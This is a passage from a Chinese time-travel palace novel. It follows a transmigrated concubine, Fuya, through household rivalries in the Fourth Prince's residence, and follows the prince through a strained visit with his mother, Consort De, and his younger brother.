说来四爷会连着三天都去汪格格的院子里,倒不是像四阿哥府里其他人所想的那样对汪格格十分满意。只不过是因为四爷想着自己在上书房读书以及后来在康熙身边协助政事时,要顾虑这顾虑那的。等到后来得了康熙评语“喜怒形于色”,他更是连情绪都收敛了起来,如今已是惯常板着张脸,让旁人轻易看不出他真实的情绪。 而这外面经常要压抑着自己,等回了自己的府邸,后院里他自然不想继续委屈自己。 不过是些格格,不同于福晋,是上了玉牒需要自己尊重的嫡妻,他当然是随着自己的喜好选择。 而满洲女子的相貌惯来不是四爷的口味,加上汪格格是新来的还有些新鲜感,这三天四爷才会连着去了她的院子。今早起身时四爷便已经决定下回再进后院便去见那个富察格格,好歹都是自己的女人,他不至于对另一个那么心狠。 如今四爷觉得汪格格不是个懂眼色的人,对她的心思就更淡了些。 5、第五章 比起要顶着寒风去读书的四爷,和要早起做事的下人们,四爷府里后院的女人还是要舒坦一些的,还能再睡到卯时也就是六点左右。 傅雅睁开眼后,没急着起床,而是翻了个身,听着外面下人们走动的动静,醒了几分钟的神,才叫人进来。 从被窝一出来,接触到冷空气的她打了个寒噤,接过巧琴递过来的温热帕子后没急着敷脸,而是先热了热手才放到脸上,又拒了巧琴要服侍她洗漱的动作,只自己做着。 巧琴便一边替她整理要换的衣袍,一边指挥跟进来的两个小丫头巧棋巧画摆放早膳,她看了眼傅雅的脸色,小心翼翼道:“主子,今日就是十五了呢。” 傅雅将帕子放进水盆,踩着软底缎鞋下了床,随口道:“十五怎么了?”话一说完,她看着巧琴的脸色,立刻反应过来了,哦,十五啊,那不就是请安的日子了嘛。 按理来说,这请安是得日日请的,但康熙朝比较特殊。 康熙的元配皇后死的早,后面抬上了皇后位份的也都早早离世,如今后位空悬,自然就没有了向皇后请安一事。也许是因为如此,其他皇子福晋们大概是琢磨着这后宫都没这事,她们这做后辈的也不敢越了去,就怕别人觉得立的规矩比宫里的还大。 于是从皇长子胤禔的福晋伊尔根觉罗氏往下,跳过还没过门的太子妃,其他福晋没一个吭声提起这个每日晨昏定省的规矩。 最后便只剩下了初一十五才必须要去请安,其他时间想去也可以,不去也可以。 只是大部分妾室为了表个态,不会只卡着初一十五去,大多妾室刚进门时那几天更是天天来。许是如此,傅雅跟汪格格进门的那天,福晋还让人打了招呼,因为离十五也没几天,就让她们都在十五这天请安。 言下之意就是想随大流的也别来,这几天都各自待着。 不用大冷天出门傅雅当然是高兴的,对她来说就是潇洒日子转眼即逝,但对她身边的人来说,这几日可谓度日如年。 古代女子受环境和教育影响,大部分都视丈夫大如天,而她一个妾室入门三四天了,都没见到四爷一面,身边人都在猜她心里不好过呢,巧琴更是担心今日请安时她会被人嘲讽。 “今早巧书去膳房时,遇到了李格格身边的人,”巧书是那三个丫鬟中负责提膳的,遇到事了自然会告诉巧琴,巧琴便在此时说了出来,“说是李格格胃口不好,让膳房的换个有新意的早膳,折腾得鸡飞狗跳的,还好没耽误了主子您的早膳。” “她有身子嘛,自然是贵重些。” 傅雅坐在了桌前,拿起筷子看桌面上的早膳。 一碗粥,加一碟蒸饺配蘸酱,还有两份点心和几道小菜,傅雅先夹了道蒸饺吃,吃到嘴里还是热的,再勺了匙粥,也是热腾腾,吃到肚子里暖胃,她就边吃边听巧琴说话。 “奴婢就是想着李格格这脾气,看起来就不太好,”巧琴看着主子还是一副不慌不忙的模样,都不知道自己该不该急了,“奴婢担心等会您在她那受了委屈。” “她难不成还能上手打我么?”傅雅笑着道。 “主子!”巧琴嗔着跺了跺脚。 傅雅咽下嘴里的粥,转而看向巧琴,“巧书这几天去提膳的时候,没有给膳房的打赏,但提回来的膳食都在规制内,也都是热的,所以我才不急。” 巧琴听了这话没太懂,便安静下来等着主子解释。 “都说踩高捧低,但也是有程度区分的,”傅雅捏着汤匙,不紧不慢搅着碗里剩余的粥,她一边回忆这些天的情况,一边慢慢道,“从进门到如今,我没见过四爷一面,但该有的份例都没缺,也不需要银钱开道,就说明这些下人不敢做过于欺主的事,也说明上头的人压着他们压得严实。 “管着后院里的人自是只有福晋,从这情况来看,说明福晋是个有公理的。” 不管这福晋只是表面如此,还是真实的,反正表现出来的就是看重规矩,且能管好家,不至于弄得乌烟瘴气,那么傅雅就有些底气了。 李格格的确受宠,也的确怀了身子,但正因为如此,她也不会做多么危险的事情,左不过就是拿言语嘲讽自己。可傅雅又不是土生土长的古代女子,那些什么受宠啊子嗣之类的,对她来说不过如此,真要是说得过分了,她也是能回嘴的。 大家面上都是格格呢,还能拿身份压人不成? 就算不受宠也没关系,有这样一个福晋在,她的日子反正是能说得过去的。 “不必太过忧心,”傅雅下了结论,“兵来将挡,水来土掩,而且——”她顿了顿,轻笑,“说不定这李格格还没闲心找我麻烦。” 不是还有个显眼的汪格格杵在那里嘛,保不准仇恨值都被拉过去了。 巧琴看着主子这不慌不忙的模样,又听她把情况掰清楚的说了一通,本来还有些发虚的心渐渐安稳了下来,她定了定神,也终于一笑,“主子说得也是。” 吃过早膳后,傅雅换了衣裳,又让巧琴给自己梳了个两把头,等站起身后略微看了看,便决定出门了。 “主子,您小心一点。” 一出门,巧琴便伸手要扶她,傅雅瞥了眼这比自己还矮了大半个头的小身板,摆摆手示意不用,她今天又没穿花盆底——主要是穿了那她就太鹤立鸡群了——平底鞋只要走路小心点就行。 映月阁离前院书房近些,但相应的,也就离福晋的正院远了点,等傅雅走到正院被下人迎进花厅坐下时,还觉得有点儿热。 她拿手扇了扇,刚放下,就看到一个面容有些苍白的清秀女子走了进来,一步一娉婷,身形单薄,仿佛随时要随风而去。 “想必你就是富察妹妹吧,”女子找了个空位坐下,明明是一路走来,又坐在这放了炭盆的地方,可她的脸色和唇色依旧是发白的,额头却渗着虚汗,她看向傅雅,轻声细语地打着招呼,“唤我声宋姐姐便好。” “宋姐姐好。” 傅雅朝她点点头,只是心里想着她身边的人打听到的消息。去年三月宋格格的长女未逾月殇。如今看来,难道说这身子还没养好么? 但她转念又一想,去年宋格格也不过才十七八岁,放到现代还是刚刚接近成年的年纪便生子又丧子,吃不消这些事实在再正常不过。 再一想,她这一世现在才十五……傅雅立时便心有戚戚然,只希望自己千万不要在这几年怀孕。 比起虚无缥缈的受宠生子,她情愿自己平淡过完一生。 没多久,汪格格也来了,她穿着一身嫩黄色旗袍,搭配着金色的首饰,一走进来,便言笑晏晏地朝两人打招呼,“宋姐姐好,傅雅妹妹好。” 最后是姗姗来迟的李格格,虽然挺着个肚子,但是打扮得光鲜亮丽,配上那副因孕期而有些圆润的娇艳面容,竟也透露出别样的美丽来,她慢悠悠坐下,环视了花厅里的三人,甩了下手帕轻笑,“哎哟,看我这身子重的哦,竟差点来迟了。” 三人都听出来了李格格话里暗含的炫耀有孕一事,宋格格垂下眸,汪格格抿着唇不说话,傅雅端着一副笑脸应付。 没得到想要的回应,李格格撇撇嘴,轻哼了一声,正要继续说话,下人便通报福晋出来。 花盆底踩在地面发出清脆的响声,伴随着这个声音,福晋出现在人前。她身形看着有些瘦挑,一身石青绸绣阔边旗袍压得整个人气质都往沉稳走,就算脸上还带着些许稚气,都少了那份该有的青春活力,且她相貌虽端庄,却也显得寡淡些。 “给福晋请安。” 四人起身福礼,福晋坐在正位上,看得清清楚楚李格格动作比另外三人慢了不止一拍,宋格格她们膝盖都弯下去了,李格格的腿还看不出弯的弧度。 不过看在她有孕的份上,福晋也懒得与她计较,朝四人摆手,“起来吧。” 然后她就看着前一秒身子还显得笨拙沉重的李格格,下一秒就快速落回了座。福晋嘴角轻微抽了抽,竟忍不住想,四爷的喜好便是如此么,那她一个福晋大概是永远都学不来的。 五个女人凑在一块,还一个是正妻,四个是妾,自然是聊不出什么热闹的气氛,不过是表面功夫罢了,傅雅就看着福晋全程脸上淡淡的,就算是笑也是不进眼底的笑。 她心中想,正妻又要管事,又要看着丈夫亲近其他女人,若心里没情就罢了,但凡有那么点,都好过不到哪里去。不过她这个妾也没那个资格心疼,甚至她还要庆幸遇到了个说得过去的顶头上司,否则不管以后受宠不受宠都得不消停。 只盼着福晋一直好好的吧,有个靠谱的上司不容易啊。 她刚回过神,就听到福晋道:“宋格格,好生养身体,子嗣的事不着急,有缘总会来的。” “奴才晓得。”宋格格轻声轻语回话,“谢福晋关心。” 福晋又对李格格道:“这几日一直听说你身子不适,如今你身子愈发重了,又是倒春寒的时候,有什么不舒服的都说出来,才好及时请个太医。” “多谢福晋关心,”李格格捏着帕子掩唇一笑,“不过前日四爷看望了奴才,奴才便感觉好多了。哦,对了,”她像是突然想到了什么,转而看向汪格格,“说起来也是对不住汪妹妹呢,把四爷从你那里喊了过来,我也是没想到,后来四爷没回你那,反倒是去了前院。” 汪格格本来捏着块点心有一搭没一搭地吃着,闻言脸色一僵,过了几秒,才道,“那不是姐姐怀着身子么,”她放下点心,扯着嘴角假笑,“再说了,爷那天约莫是不想吵醒我,就连今早都叫着让我再睡会呢。” 傅雅听着这两人针锋相对,你来我往,又看了眼福晋脸上没了的笑,有种宅斗电视剧在眼前上演的感觉,于是情不自禁地就端起了茶杯,又打算拿块点心,准备就着茶点旁观看戏。 没想到下一秒,这戏就落到她身上了。 “富察妹妹看着神色不太好啊,”大概是在汪格格那里吃了颗钉子,被她秀宠爱秀得哽住,李格格眼神一瞥,见到恍若独身其外的傅雅,顿时看着便不顺眼了起来,睁眼说瞎话地道,“莫不是被汪妹妹说得话伤了心?也是,你们二人都是一起进来的,结果汪妹妹小气,一直扒拉着四爷,连姐姐我都看不过去了,可要替你给四爷说上一声?” 她挑眉露着笑,话里透着居高临下的意味。 6、第六章 这几日四爷看着的确有点儿宠爱汪格格的意思,李格格心里发酸得很,可一想到这傅雅格格的处境,便觉得比起这颗地里黄的小白菜,她又何必着急呢。 要知道她现在是肚子里揣着子嗣才不好伺候,等她日后生了,必定又能让四爷将全部心思放到她身上。 于是说完这话,李格格心中很是得意的,好整以暇地等着这傅雅格格露出黯然神伤的模样。 福晋在正坐看着,眉头微蹙,觉得这李格格有些太欺负人了些,又想到傅雅格格的出身,她便准备开口说些什么,没想到在她开口前,傅雅先说话了。 “李姐姐这话倒是说得我不太明白了。” 傅雅将手中拿着的杯子放回到杯盏中,发出哒的一声清脆声响,竟让李格格一个激灵,心中隐约升起不妙来。她张了张口,欲要说话,偏偏傅雅抢在了她前头,语速快速而流畅清晰。 “四爷要去哪里,自是看四爷自己的想法,再不济还有福晋来操心主子爷的后院,李姐姐说要替我与四爷说上一声,难不成是觉得四爷会听你的话,你说去哪儿就去哪儿么? “那可真是令妹妹惊讶呢。 “若我没记错的话,我与李姐姐都是格格,可都是福晋手下管着的人,莫不是……在妹妹不知道的时候,姐姐成了侧福晋?” 说到后面,傅雅还拿着帕子掩嘴,故作惊讶的模样,然而李格格却将她眼中带着的笑意看得清清楚楚,只看得她气血上头,蹭地站起身来,指着她的手指抖啊抖。 “你——!” “哎呀,李姐姐有话好好说啊,伤了身子连累了子嗣可不好,子嗣为重啊!” “你、你个小——!” “好了。” 福晋看她要说出不好听的称呼,沉声打断了李格格,随后看向她身后跟着的贴身丫鬟,“带李格格回去歇息,既然怀了身孕,就莫要再做些轻浮挑弄的事情来,免得动了胎气。” 李格格咬牙,面上露出些许不忿之色,只觉得自己明明怀了四爷后院里唯一的子嗣,却还得不到福晋的偏心,是福晋不公平,但她抬眸对上福晋沉沉的面色,心中一突,立刻从心地闭嘴了。 哼,等她生下了四爷的长子,到时候看在这唯一的子嗣上,她再歪缠着四爷几句,说不得四爷就会给她请封侧福晋! 一想到此,她面上的不忿便又消失,又摆出言笑晏晏的模样,“这不是遇到些不识好人心的么,奴才下回不会再大发好心了。奴才告退。” 她行礼后搭上丫鬟的手,转身前瞪了傅雅一眼,想了想,还有个敌人呢,于是又瞪了汪格格一眼,才挺着大肚子离去。 一个白眼而已,不痛不痒的,傅雅看她毕竟是个孕妇,也没多计较。 一旁的汪格格掩在衣袖下的手则是绞了绞手帕,新仇加旧恨,对李格格更加不满了。 福晋刚刚听了一脑门官司,又是和四爷的宠爱有关,只觉得头疼,心底处还带着股子涩,也不想再看这几个女人了,便都示意没事就各回各院。 没有谁不看眼色的说自己有事,都是连忙起身表示告退——不仅福晋不想看她们这些小妾,小妾也不想跟顶头上司待在一起啊,干啥都不自在。 这就好比现代聚餐,谁想见到领导啊,那不是嫌自己消化系统太好了么? 三人出了正院,齐齐对视一眼,许是都看出来了对那李格格不感冒,又都被李格格冷嘲热讽了番,那隐约的一丝战友情倒是让她们在对视时都想到了李格格离开前的狼狈模样,便不约而同地都笑了起来。 笑过后,三人告别,都各自朝着自己的院子走去。 等离正院有一段距离了,跟在她身后的巧琴便愤愤开口,“那李格格……” “别说了,”傅雅轻声打断了她的话,她侧过头看了巧琴一眼,又看了眼周围,虽放轻了声音,却听得出她话里的提醒告诫,“不管她再如何,都是格格,我能说她几句,却不代表谁都能如此。 “我知道你是一心想着我,才会如此。只是这些话你若说惯了,又怎知哪天不会脱口而出,被他人听到呢?” 傅雅没穿越前也是看过电视剧的,她可没忘了电视剧里角色探听消息时经常用的一个的套路就是有意或者无意听到下人叨叨,而且有个成语说得好—— 祸从口出。 便足以说明嘴巴不严实的后果。 不只是如此,电视剧里也经常出现主角或者配角说隐秘的事情时特意把门窗关得严实,结果就总是那么凑巧,有人赶在这个点悄悄听见了。 虽说现实和电视剧不同,这院子里总是有人伺候,不至于谁都能悄没声息来一遭,可若是来的人身份高,压着下人不出声,就是想听听悄悄话呢? 这事也不是不可能发生的啊! 所以傅雅决定,没事就少在背后说人小话,最好连她身边的下人也少干这事。 当然,也不是说什么都不能谈了。打个比方,之前她和巧琴谈论福晋和李格格时就没太大问题,因为那是就事论事,多客观,多陈述,而不是没太大意义的抱怨。 这些话傅雅说得没有很直白,而是较为委婉,不过巧琴能成为她的贴身侍女,本就比其他下人多了一分机灵,自然也是听懂了的。 “主子说得是,奴婢明白了。” 巧琴这话说的真心诚意,毕竟这也是为了她好。她一个奴婢真要哪天因为嘴里的话不小心冒犯了贵人,不说主子会不会出手捞她,就算捞了也不一定能捞成功,还不如她自己谨慎点。 之后不仅巧琴自己嘴巴变得严实,听她转述了傅雅的话的赵德利也是如此,两人还联手敲打了一番手底下的人,连带着傅雅这个院子里的人都跟着口风紧起来,甚至日后也少了许多风波。 这回走到自己院子里,傅雅又走得轻微发热起来,不过她看了看外面的阴沉沉的天色,叹了口气,还是放弃了蠢蠢欲动的想要洗澡的心。古代洗一个澡可没有现代那么方便,她还真怕自己不小心感冒了。 “什么时辰了?”她问巧琴。 巧琴也跟着看了眼天色,估摸着时辰,“约莫是辰时,快到巳时了吧。” 傅雅心中换算了下,那就是八点多的样子,离午膳还有的等呢,于是她进了厢房,躺在榻上看着自己的房间,琢磨着干些什么。在她琢磨的时候,巧琴给她上边上了些点心,方便她拿着吃。 傅雅还不饿,所以就没吃,只是边想,边开始又怀念起现代多姿多彩的业余生活了。 不过她不饿,还在皇宫上书房里的四爷却觉得自己有些饿了。 他如今正是长身体的年纪,本就胃口大,偏偏今日因着汪格格吃饭少的缘故自己也跟着没胃口,只吃了个半饱,加上读书消耗脑力,这吃下的东西自是早早便被消化了。 忍着腹中饥饿,直到午时才有了空闲时间。 四爷放下笔,看着纸上自己写下的字略有些不满意,琢磨着之后每日再多腾出点时间练字,抬头时便见到苏培盛拎着食盒过来。 “主子爷,德妃主子特意为您备了吃食呢,”苏培盛一边摆盘,一边放轻了声音说着话,“还问了您最近的身体状况……” 四爷吃着午膳边听他说,苏培盛就悄悄看四爷脸色,却看不出来主子到底是高兴还是不高兴。说高兴吧,神情都没动一下,说不高兴吧,却没阻止他继续说。 等到下午下了课,苏培盛跟在四爷后头,发现四爷往永和宫的方向走,那揣揣的心才算是放下,想着主子大概是满意的。 苏培盛猜得算对,也不算对。 四爷和德妃的关系,很难用好或者不好来形容。 都说母子天性,可这感情也是需要培养的,而四爷和德妃,算得上是错误的时间加错误的地点。 当德妃还不是德妃,她怀胎十月不得不将孩子送到另一个女人身边抚养时,就算那个女人身份高贵又如何,她依旧是如剖心了般的疼,但这疼随着岁月流逝,渐渐也结了疤,加上隔了一年她再次怀胎,后面生下小六胤祚,新生的孩子也占据了她的心神。 更何况,此时的德妃也明白一件事,不是生的孩子越多越好,生下来了起码得养得住,才算真正的生。 于是她便也学着面上疏离,不再时刻朝着景仁宫使力。 可大人能明白这点,小孩却不懂,孩童一旦明白自己的生母是谁,便天性想要亲近,偏偏这时候却得不到德妃足够的回应。于是小时候胤禛的每每接近,得来的却是德妃疏离的冷淡,自是伤了他的心。 等四爷到了也能明白这一隐晦时,已是十一二岁的年纪。 如今离他第一次得知自己生母是谁时已经过去十几年,连他的养母孝懿仁皇后都已经离世五六年。时间的距离,已经足够在这一对母子间拉开一道鸿沟,连想要尝试亲近,都做得如同在做戏。就像今天德妃送来的吃食,没有一道是四爷喜欢的。 可终归德妃送了东西来,所以四爷也想要回应,才会在下了课后往永和宫走,打算向德妃请安。 这也是苏培盛猜对又不对的地方。 不过四爷心情却算不上特别好,主要是刚刚他想带着已经在上书房读书的十四一起回去,却被十四拒绝了,说是跟他这个哥哥一起走太无趣了,他要和老九老十一起玩。 临走时,十四还不忘回头跟他道:“反正弟弟天天跟额娘在一块,哪像四哥你,都搬宫外去了。”这话说完,不等四爷接话,十四便背过身去,那嘀咕的声音四爷是听得清清楚楚。 “哦不对,我都忘了,四哥还在宫里住的时候也没跟额娘在一块。” 四爷:“……”不敬兄长! 这得亏不是他儿子,否则他定要往那小子屁股来上几巴掌! 只能说这四爷和十四不愧是兄弟,就算见面少,都不影响这十四一开口就是往他四哥心尖上戳,哪里脆弱戳哪里。 7、第七章 永和宫里,德妃在听身边人陈述上书房的事。 “十四阿哥练字时动作大了点,被讲课的老师提醒了两句,”她贴身跟着的姑姑说完,又赔笑道,“不过其他时候十四阿哥很是认真的,想必练字那会还是年纪小,难免有些坐不住。” 德妃就揉着眉心,一脸无奈,“他汗阿玛比他年纪还小的时候,表现得可比他好太多了。” “那毕竟是万岁爷啊。”姑姑也算是从小看着十四长大的,也跟着偏心些,下意识就给十四找理由,德妃就好笑地看了她一眼,不过终究是把这事给带过去了。 永和宫内安静了会,又响起德妃的声音。 “……老四呢?” “四阿哥读书认真,字也被老师夸赞。”姑姑这回就说得干巴巴了,大概也是觉得说得短了些,停顿片刻,她又补充,“您中午吩咐提过去的午膳,四阿哥都吃完了,想必很是喜欢您说的那几道菜。” “……是吗?” 德妃喃喃,她面上依旧带着笑,心中却想,老四这些年练出了一张面无表情的脸,高兴了不爱说出来,生气了憋心里,总想着让人猜猜他的心思。 她还真不觉得旁人能轻易看出来他的喜好,不过是身边人刻意这么说安慰她罢了。 母子天性,母子天性…… 哼。 德妃心中冷笑,这宫里连养孩子都要看身份,还不一定能护得住几个孩子,就是往着撕裂母子天性这条路上走的。 一想到这些,德妃便觉得兴致寥寥,正欲起身时,就见有人来通报,看到四阿哥往这永和宫的路上走了,于是她又坐了回去。 四阿哥一进来,就得到德妃的关心语句,“这春寒料峭的,你这一路走过来额头却都冒汗了,怕是后背衣裳也湿了,秋云,快带四阿哥去偏殿换个衣裳,记得多放点炭盆,免得着凉。” “是,娘娘!” 德妃身边的姑姑秋云立刻引着四爷去了偏殿,等换好后四爷再出来,他坐的位置旁已经摆好了热茶点心。 “走了一路,你喝点茶缓缓,”德妃坐在上头道,“旁边那点心我记得是你爱吃的,喜欢就多吃点,额娘这里吃不穷。”她笑着开玩笑,于是四爷也跟着笑,眼神落到了点心上。 这点心的确是四爷经常吃的,但那时候不是他爱吃,而是他年纪小长身体,肚子容易饿。可那时候他已经知道了自己的生母是谁,孝懿仁皇后只是他的养母。 偏偏生母不亲近他,养母也只是按规制抚养他,小时候的他心下惶惶,又正是容易饿的年纪,于是连读书时肚子饿了都不愿意直接说出来,便只能靠着点心填肚子。 而这点心是景仁宫里最常摆的,他便也经常带到上书房里,下了课后拿来吃。 许是因为如此,手又伸不进景仁宫的德妃就以为是他爱吃的,其实四爷都已经吃厌了,见都不想见一眼。 但他却没说这扫兴的话,而是笑着道:“那儿子就不客气了。”然后拿起一块点心就着茶慢慢吃。 德妃道:“皇上说你前些天办的差挺好的。” 四爷就接话说:“儿子以后继续努力。” “额娘听说了,老师夸你字练得不错。” “毕竟也练了十几年……只是儿子觉得还需多练些。” 两人一来一回说了好几句,却都答得干巴巴的,明明都在聊天,偏偏气氛却好像变得僵硬起来,直到又一个话题结束,不知是不是同时卡壳了,两人谁都没有再开口提起新的话题,于是永和宫内一时安静下来。 四爷端起手边热茶抿了口,借着这个动作想着要说什么。 坐在高位上的德妃就看着她那底下的儿子垂眸喝茶,再次认清她这儿子就是个一棍子打不出个屁的性子,罢了,这当儿女的就是来讨债的。 德妃清清喉咙,正要再找话题,十四从外边风风火火地闯了进来打破了这一安静。 “额娘额娘——” 他跑进来时经过四爷,扭头看了他一眼,特别敷衍地喊了声四哥打了个招呼,就头也不回地溜向德妃,“明日下午有骑射课,您就把那牛角弓给我吧!” “跑得急急燥燥的像什么样子,也不怕受了冷风。”德妃一把抓住十四的手,摸了几下,发现不算太冷,便又拿手去探他的脸颊,感觉温度还行,这才放下心来。 她没好气道,“那牛角弓你现在这个年纪根本拉不动,若是给你用,还不如让你四哥拿来骑射课上用,顺便带带你。” 德妃说这话不是真要把十四的弓给老四,更多的是表示让他们兄弟俩多亲近。 “那不是汗阿玛之前特意赏给我的么……”十四一听她这么说,就有些急了,连忙接上话,等话说完了才想起四哥就在这呢,难免心虚地回过头来看向四爷,眼神闪了闪,落到了四爷手边的点心上,眼神一亮。 “额娘您都够偏心四哥的了,那点心我也爱吃,可您都不准我多吃,四哥一来您就给他上了好些呢!” 四爷:“……”十四你这张嘴不会说话可以不说! 从十四闯进来开始,这眼前的一切都让四爷看着眼神越来越深。 他看着德妃拉着十四的手,摸着十四的额头,给他探温度,说起来这行为其实和之前他进来时德妃让人带他去偏殿换衣服一样,都是怕热了后又吹冷风着凉,所以当时的四爷还是有点儿小开心的,他额娘关心他啊。 不过这凡事都怕对比。 本来还算关心的话语,一对比德妃和十四之间亲近的肢体接触,便显得之前德妃只是坐在高位上不动,光开口吩咐下人的行为成了表面上的几句套话,透着明显的疏离和淡淡的虚假。 那开心便变成了些许的心酸。 此刻听着十四说着这话,四爷便觉得有些刺耳,他压着心中这些情绪,面上只笑道:“你这是嘴馋了,既是如此,想吃便吃吧。”他说着,还朝十四招手让他过来,右手已经准备着拿起块点心给十四。 “谢谢四哥~” 十四将刚才的心虚丢到脑后,满心只想着他哥不严肃的时候还是挺不错的,便颠颠儿地真就过去了,还语气甜甜地谢了声,于是四爷也觉得他这弟弟看着顺眼了点。 这一幕好看着好一副兄友弟恭的模样。 结果十四正要接过他四哥递来的点心,头顶就传来他母妃的声音:“老四,你别给他吃,他牙齿都吃坏了颗,前些天还叫着牙痛呢,”德妃毫不留情地揭露了十四的事,“好在他那颗牙还会换,否则非得顶着个漏风的嘴。” 十四就眼睁睁看着前一秒要落到他手心里的点心,后一秒转了个圈,又被他四哥给放回到瓷盘里去了。 “四哥,别啊,弟弟就吃一块……” 四爷在他可怜眼神攻击下不为所动,只让他张嘴,然后捏着十四的脸颊仔细看了看,看完就皱起眉头,“额娘说得不错,你这牙是吃坏了,”他端着个脸,语重心长地道,“凡事都要有个度,这点心又不会跑,你平常也饿不着,何必一个劲儿的吃……” “四哥你也太讨厌了!” 四爷话还没说完就被十四打断了,小屁孩鼓着个脸颊气呼呼地看着他四哥,不高兴他四哥非顶着个当爹的脸教训他,于是反驳的话便说得又快又大声,“你平常又不跟我们住,也不怎么带我玩,一来还吃我喜欢的点心,额娘还要把汗阿玛给我的弓送你,我才不要听你的——” “十四!” 德妃听着他小儿子这一通胡话,脸上的笑立刻就消失了,厉声打断了他。 “胤禛是你哥哥,你胡吣些什么呢!跟你四哥道歉!” 十四刚被四爷教训了通,此时又被德妃教训,饶是他隐约知道自己刚才说的话很是伤人心,可这年纪的小孩本就是自尊心过强且主意过多的时候,生气、委屈、心虚等情绪交杂在一起,就让他也变得别扭起来。 想道歉又拉不下脸,梗着个脖子站在那里。 “十四!”德妃更气了,甚至起身准备下来。 “算了,额娘,”四爷开口阻止了他,他看向十四,淡淡道,“四哥方才那通话只是关心你,你不喜欢听就算了。这次我这个四哥也有错,平日里忙着自己的事没怎么管你,往后不会了。” 十四听得又歉疚又有些害怕,是他听错了么,总觉得四哥说到后面时带着点不太妙的感觉。 “对、对不起,四哥……” 闹了这么一通,四爷也没有再继续待在永和宫,和德妃告退后便离开了,留下德妃看着她小儿子是又气又心疼,“你呀你,平日里我真是太惯着你了,才让你口无遮拦……” 十四眼里含着两泡泪水,眼巴巴看着她。 “儿子知道错了嘛,下回不会了。” 德妃看着他这模样,头更疼了,只想叹气—— 儿女都是债啊。 这边德妃发愁她和大儿子的关系,还有两个儿子之间的关系,那边四爷出了宫回自己的阿哥府,脸色沉沉,看得苏培盛什么话都不敢说,更别提什么今天是十五的日子了。 跟了主子这么些年,苏培盛老早就知道主子喜欢把气闷在心里,虽说主子爷不是个爱撒气的吧,但这做下人的哪敢在主子生气的时候放松呢。 于是他转头就吩咐这前院的人做事都醒着点神,别瞎呼呼乱转,主子不乱撒气可不代表事撞眼里头了也不出气啊。 正院里的福晋等了又等,眼看快过膳点了,也没见到自己想见的身影,便吩咐人去前院打听,结果打听的人回来说没打听出发生了什么事,但也察觉了前院紧绷的气氛。 前院的人做事都恨不得踮着脚尖走呢。 福晋挥手让下人告退,明白八成是宫里有什么事惹四爷生气了。 她和往常一样自己吃了几口饭,处理了些府里府外的事情,合上账本时,她扭头看着空荡荡的床铺出神,等回过神来,却忘了刚刚自己在想些什么。 8、第八章 一夜无话,转眼便是第二天。 天还未亮时下人们便起身开始做事,隔了一两个时辰,各院主子们也都从梦中醒来。 不同院子里是不同情况,好比这正院里的福晋,是一大早也不得闲,府里府外都有事情需要她操心,至于这后院里的其他妾室,当然也有自己的操心的事情。 比如这李格格就让身边的人出去打听,等听到昨天四爷一整夜都一直待在前院的消息,立刻就满意地笑了。宋格格听着外面下人走动的声音,默默将去年给女儿准备的衣裳锁进小箱子里,眼神闪动着,那股消沉的情绪渐渐消散。 汪格格则已经坐在了梳妆台前,满心想着该梳些什么妆容,铜镜里倒映出她满怀春意的眼眸。 映月阁。 又一次艰难地从被窝里挣脱出来,傅雅梳洗过后,没急着换衣裳,而是先走到门口,跟在她后头的巧琴连忙给她披上披风,“格格,小心着凉。” 傅雅拉了拉披风领,抬头看天,若有所思,“巧琴,你看今日是不是会出太阳?” 巧琴闻言便也跟着看天,“看着像是要出太阳呢,格格,看来今日是个难得的晴天。” “我和你说个事,巧琴。” “格格您说。”巧琴答话,却总有种不妙感。 傅雅转头看她,微微一笑,“今天中午我洗个头,如何?” “……奴婢看不如何,格格。” 巧琴板着脸,“这还是倒春寒的时候呢,就算出了太阳,也暖和不到哪里去,格格您若是不小心受了凉,岂不是要在床上躺个几天么,如今您才刚进门没几天……” “好巧琴,我知道你关心我,”傅雅拉着她的手晃晃,笑容更甚,“只是我这几天没洗头了,实在是受不住。” “……那只能大中午太阳最好的时候洗。” 一个大美人拉着自己的手,还笑得那么甜,语气还那么软,谁顶得住呢,反正巧琴是被傅雅给笑得头晕了,加上她毕竟只是个奴婢,总不能真跟主子顶着来,于是她最后还是松口了。 “巧琴你真好!”傅雅又给她送上一个灿烂的笑容,然后愉快地转身进了房。 事实上,巧琴对傅雅洗头一事这么紧张也是正常的。 不像现代,洗个头而已,热水器一开,浴霸一打,再冷的天都能洗得热腾腾的,古代则折腾得多了,光是烧水就没热水器方便。 再加上没有空调,一个格格的身份也住不了那种铺了地下火道的房间,全靠炭盆取暖,但凡头发擦得不够干,再被风一吹,着凉的几率那是大大上升。 所以这时候的人们大多长时间不洗头,若是头皮痒了或者头屑多了,那都是用篦子细细地梳。 除此之外,这洗头的热水,提热水的人,也都是需要去膳房拿钱打点的,否则谁耐烦折腾啊。 膳房的人一听到这映月阁的来人提这要求,小太监掂了掂手里的赏银,笑眯眯道:“欸,行,你且先等会。” 拿人钱财替人办事,小太监也没拖延,很快就找人说了一声,再又回过头通知映月阁的人。 巧书便又说了几句好话道了谢,然后才拎着早膳离开。 膳房的小太监看了眼外头远去的身影,转头溜达到师父旁边,一边帮忙打下手,一边说着话,“师傅,你看这映月阁的,进门好几天了,连主子爷的面都没见到一回,也没见人家着急,还有心情洗头呢,也真是奇怪。” 张太监揉着面团,哼笑了声,“你管人家呢,再怎么样人家都算个小主子,不必昏天黑夜的伺候人。” 依他看啊,这样的人才有心气抓住机会翻身呢,真要是个慌慌张张的,就算主子爷落下宠爱了,只怕也是风一吹就散。 等各个院里的吃过早膳,也到了辰时,前院书房里的四爷放下书。 他想起如今已是三月,也不知汗阿玛今年会不会再巡幸塞外,若是去了又会带谁,随后又想起蒙古噶尔丹部落这些年在罗刹国的怂恿下闹腾得是越来越凶,噶尔丹意图割据西北、?统治蒙古诸部的心已是明晃晃地摆了出来,不知汗阿玛届时会作何处置,是战还是招揽…… 只是他终究只是个光头阿哥,也没真上朝过,这些事想了又想,也不过都是些虚的,四爷便也不再继续想了。 “苏培盛,”他起身,“去正院。” “嗻。” 苏培盛连忙跟上,不忘吩咐下人去正院提前通报一声,于是等一行人来到正院门口时,早已有人等候着接待,恭敬地将四爷迎进院里。 四爷进门前看了眼天,不像是前几日那般阴沉沉的,此时乌云散去,太阳露了个头,倒是显得明亮许多。 隔了一晚上,四爷的气也散得差不多了,再且他自觉自己已经是个大人,和个小孩子计较太多也是跌了份。如今又遇到个难得的晴天,心情好上许多,自是想起来昨日十五没来福晋正院,才会在此时过来一趟表示下态度。 ——爷还是很重视你这个福晋的。 福晋是老早就等着四爷过来了,她听着下人们一趟趟传话,在四爷刚踏进院里时,就有些坐不住。 